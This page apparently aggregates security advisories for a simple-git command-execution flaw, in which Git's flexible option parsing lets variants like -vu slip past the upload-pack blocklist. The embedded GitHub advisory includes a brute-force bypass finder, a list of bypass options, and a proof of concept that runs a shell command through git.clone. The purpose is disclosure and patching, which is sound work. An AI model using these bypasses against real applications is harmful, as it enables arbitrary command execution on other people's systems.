simple-git has Command Execution via Option-Parsing Bypass

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

simple-git enables running native Git commands from JavaScript. Versions up to and including 3.31.1 allow execution of arbitrary commands through Git option manipulation, bypassing safety checks meant to block dangerous options like -u and --upload-pack. The flaw stems from an incomplete fix for CVE-2022-25860, as Git's flexible option parsing allows numerous character combinations (e.g., -vu, -4u, -nu) to circumvent the regular-expression-based blocklist in the unsafe operations plugin. Due to the virtually infinite number of valid option variants that Git accepts, a complete blocklist-based mitigation may be infeasible without fully emulating Git's option parsing behavior. This issue has been fixed in version 3.32.0.

Source published

13 Apr 2026 17:15:14 UTC

Source modified

15 Jul 2026 01:11:56 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 8.1 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

simple-git enables running native Git commands from JavaScript. Versions up to and including 3.31.1 allow execution of arbitrary commands through Git option manipulation, bypassing safety checks meant to block dangerous options like -u and --upload-pack. The flaw stems from an incomplete fix for CVE-2022-25860, as Git's flexible option parsing allows numerous character combinations (e.g., -vu, -4u, -nu) to circumvent the regular-expression-based blocklist in the unsafe operations plugin. Due to the virtually infinite number of valid option variants that Git accepts, a complete blocklist-based mitigation may be infeasible without fully emulating Git's option parsing behavior. This issue has been fixed in version 3.32.0.

Source published

Apr 13, 2026, 5:15:14 PM (timezone not stated)

Source modified

Jul 15, 2026, 1:11:56 AM (timezone not stated)

Observed here

1 Nov 2026 04:10:57 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 8.1 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

simple-git enables running native Git commands from JavaScript. Versions up to and including 3.31.1 allow execution of arbitrary commands through Git option manipulation, bypassing safety checks meant to block dangerous options like -u and --upload-pack. The flaw stems from an incomplete fix for CVE-2022-25860, as Git's flexible option parsing allows numerous character combinations (e.g., -vu, -4u, -nu) to circumvent the regular-expression-based blocklist in the unsafe operations plugin. Due to the virtually infinite number of valid option variants that Git accepts, a complete blocklist-based mitigation may be infeasible without fully emulating Git's option parsing behavior. This issue has been fixed in version 3.32.0.

Source published

13 Apr 2026 18:16:28 UTC

Source modified

26 Oct 2026 22:10:00 UTC

Observed here

27 Oct 2026 07:23:32 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 8.1 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

CVSS 3.1 · 0b0ca135-0b70-47e7-9f44-1890c2a1c46c · Secondary · 8.1 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

### Summary simple-git enables running native Git commands from JavaScript. Some commands accept options that allow executing another command; because this is very dangerous, execution is denied unless the user explicitly allows it. This vulnerability allows a malicious actor who can control the options to execute other commands even in a “safe” state where the user has not explicitly allowed them. The vulnerability was introduced by an incorrect patch for CVE-2022-25860. It is *likely* to affect all versions prior to and including 3.28.0. ### Detail This vulnerability was introduced by an incorrect patch for CVE-2022-25860. It was reproduced in the following environment: ``` WSL Docker node: v22.19.0 git: git version 2.39.5 simple-git: 3.28.0 ```` The issue was not reproduced on Windows 11. The `-u` option, like `--upload-pack`, allows a command to be executed. Currently, the `-u` and `--upload-pack` options are blocked in the file `simple-git/src/lib/plugins/block-unsafe-operations-plugin.ts`. ```ts function preventUploadPack(arg: string, method: string) { if (/^\s*--(upload|receive)-pack/.test(arg)) { throw new GitPluginError( undefined, 'unsafe', `Use of --upload-pack or --receive-pack is not permitted without enabling allowUnsafePack` ); } if (method === 'clone' && /^\s*-u\b/.test(arg)) { throw new GitPluginError( undefined, 'unsafe', `Use of clone with option -u is not permitted without enabling allowUnsafePack` ); } if (method === 'push' && /^\s*--exec\b/.test(arg)) { throw new GitPluginError( undefined, 'unsafe', `Use of push with option --exec is not permitted without enabling allowUnsafePack` ); } } ```` However, the problem is that command option parsing is quite flexible. By brute forcing, I found various options that bypass the `-u` check. ``` [ '--u', '--u', '-4u', '-6u', '-lu', '-nu', '-qu', '-su', '-vu' ] ``` All of the above are three-character options that allow command execution. They enable execution even when `allowUnsafePack` is explicitly set to false. The depressing fact is that the options I found are probably only a tiny fraction of all possible option formats that enable command execution. In addition to the `-u` option, there is also the `--upload-pack` option and others, and some of the options I found can probably be extended to arbitrary length. Considering this, the number of option variants that enable command execution is probably infinite. Therefore, I could not find an effective way to block all such cases. Personally, I think it is virtually impossible to block this vulnerability completely. To fully block it, one would have to faithfully emulate Git’s option parsing rules, and it’s doubtful whether that is feasible. Just in case, I’ll share the brute-force code I used to find options that enable command execution. ```js const fs = require('fs'); const simpleGit = require('simple-git'); const TMP_DIR = './pwned/'; const ITER = 256; function cleanTmpDir() { if (fs.existsSync(TMP_DIR)) { fs.rmSync(TMP_DIR, { recursive: true, force: true }); } fs.mkdirSync(TMP_DIR, { recursive: true }); } function getPwnedFiles() { const found = []; for (let i = 0; i < ITER; i++) { const fname1 = `${TMP_DIR}1_${i}`; const fname2 = `${TMP_DIR}2_${i}`; const fname3 = `${TMP_DIR}3_${i}`; if (fs.existsSync(fname1)) found.push(String.fromCharCode(i) + '-u'); if (fs.existsSync(fname2)) found.push('-' + String.fromCharCode(i) + 'u'); if (fs.existsSync(fname3)) found.push('-u' + String.fromCharCode(i)); } return found; } async function runTest(runIdx) { const git = simpleGit(); // 1. `${~}-u` Pattern for (let i = 0; i < ITER; i++) { try { await git.clone('./testrepo1', './testrepo2', [String.fromCharCode(i) + '-u', `sh -c \"touch ${TMP_DIR}1_${i}\"`]); } catch {} } // 2. `-${~}u` Pattern for (let i = 0; i < ITER; i++) { try { await git.clone('./testrepo1', './testrepo2', ['-' + String.fromCharCode(i) + 'u', `sh -c \"touch ${TMP_DIR}2_${i}\"`]); } catch {} } // 3. `-u${~}` Pattern for (let i = 0; i < ITER; i++) { try { await git.clone('./testrepo1', './testrepo2', ['-u' + String.fromCharCode(i), `sh -c \"touch ${TMP_DIR}3_${i}\"`]); } catch {} } } async function main() { cleanTmpDir(); await runTest(); const found = getPwnedFiles(); console.log(found); } main(); ``` ### PoC The environment in which I succeeded is as follows. As long as the OS remains Linux, I suspect it will succeed reliably despite considerable variation in other factors. ``` WSL Docker node: v22.19.0 git: git version 2.39.5 simple-git: 3.28.0 ``` 1. Create any git repository inside the `testrepo1` folder. A very simple repository with a single commit and a single file is fine. 2. Run the following: ```js const { simpleGit } = require('simple-git'); async function main() { const git = await simpleGit({ unsafe: { allowUnsafePack: false } }); await git.clone('./testrepo1', './testrepo2', [`-vu sh -c \"touch /tmp/pwned\"`]); } main(); ``` This PoC explicitly configures `allowUnsafePack` to `false`. Of course, the same vulnerability occurs even without this option. An error is the expected behavior. 3. Check `/tmp` to confirm that `pwned` has been created. If it failed, try replacing `-vu` with a different option from the list. ### Impact This vulnerability is *likely* to affect all versions prior to and including 3.28.0. This is because it appears to be a continuation of the series of four vulnerabilities previously found in simple-git (CVE-2022-24433, CVE-2022-24066, CVE-2022-25912, CVE-2022-25860).

Source published

13 Apr 2026 16:35:37 UTC

Source modified

10 Sep 2026 03:50:44 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Publisher rating · HIGH